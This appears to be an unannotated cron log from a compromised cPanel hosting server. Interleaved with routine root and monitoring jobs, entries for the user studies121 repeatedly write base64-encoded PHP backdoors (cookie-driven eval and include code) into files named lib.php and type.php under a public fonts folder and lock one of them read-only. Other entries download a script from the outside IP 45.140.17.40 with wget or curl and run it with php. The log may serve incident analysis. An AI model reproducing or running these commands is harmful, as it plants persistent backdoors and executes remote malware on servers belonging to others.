Sep 21 08:53:02 ip-184-168-122-23 CROND[28380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:54:02 ip-184-168-122-23 CROND[28591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:54:02 ip-184-168-122-23 CROND[28592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:54:02 ip-184-168-122-23 CROND[28593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:54:02 ip-184-168-122-23 CROND[28595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:54:02 ip-184-168-122-23 CROND[28594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:55:01 ip-184-168-122-23 CROND[28750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:55:01 ip-184-168-122-23 CROND[28752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:55:01 ip-184-168-122-23 CROND[28753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:55:01 ip-184-168-122-23 CROND[28756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:55:01 ip-184-168-122-23 CROND[28754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:55:01 ip-184-168-122-23 CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:56:01 ip-184-168-122-23 CROND[28884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:56:01 ip-184-168-122-23 CROND[28886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:56:01 ip-184-168-122-23 CROND[28887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:56:01 ip-184-168-122-23 CROND[28889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:56:01 ip-184-168-122-23 CROND[28891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:57:01 ip-184-168-122-23 CROND[29039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:57:01 ip-184-168-122-23 CROND[29040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:57:01 ip-184-168-122-23 CROND[29043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:57:01 ip-184-168-122-23 CROND[29042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:58:01 ip-184-168-122-23 CROND[29173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:58:01 ip-184-168-122-23 CROND[29175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:58:01 ip-184-168-122-23 CROND[29176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:58:01 ip-184-168-122-23 CROND[29177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:58:01 ip-184-168-122-23 CROND[29178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:59:01 ip-184-168-122-23 CROND[29308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:59:01 ip-184-168-122-23 CROND[29309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:59:01 ip-184-168-122-23 CROND[29310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:59:01 ip-184-168-122-23 CROND[29314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:00:01 ip-184-168-122-23 CROND[29477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:00:01 ip-184-168-122-23 CROND[29481]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:00:01 ip-184-168-122-23 CROND[29486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:01:01 ip-184-168-122-23 CROND[29744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:01:01 ip-184-168-122-23 CROND[29746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 09:01:01 ip-184-168-122-23 CROND[29749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:01:01 ip-184-168-122-23 CROND[29750]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 09:01:01 ip-184-168-122-23 CROND[29751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:01:01 ip-184-168-122-23 CROND[29753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29750]: starting 0anacron
Sep 21 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29767]: finished 0anacron
Sep 21 09:02:01 ip-184-168-122-23 CROND[29969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:02:01 ip-184-168-122-23 CROND[29971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:02:01 ip-184-168-122-23 CROND[29974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:02:01 ip-184-168-122-23 CROND[29973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:02:01 ip-184-168-122-23 CROND[29972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:03:01 ip-184-168-122-23 CROND[30395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:03:01 ip-184-168-122-23 CROND[30396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:03:01 ip-184-168-122-23 CROND[30397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:03:01 ip-184-168-122-23 CROND[30399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:04:01 ip-184-168-122-23 CROND[30514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:04:01 ip-184-168-122-23 CROND[30517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:04:01 ip-184-168-122-23 CROND[30516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:04:01 ip-184-168-122-23 CROND[30518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:04:01 ip-184-168-122-23 CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:05:01 ip-184-168-122-23 CROND[30665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:05:01 ip-184-168-122-23 CROND[30664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:05:01 ip-184-168-122-23 CROND[30671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:05:01 ip-184-168-122-23 CROND[30674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
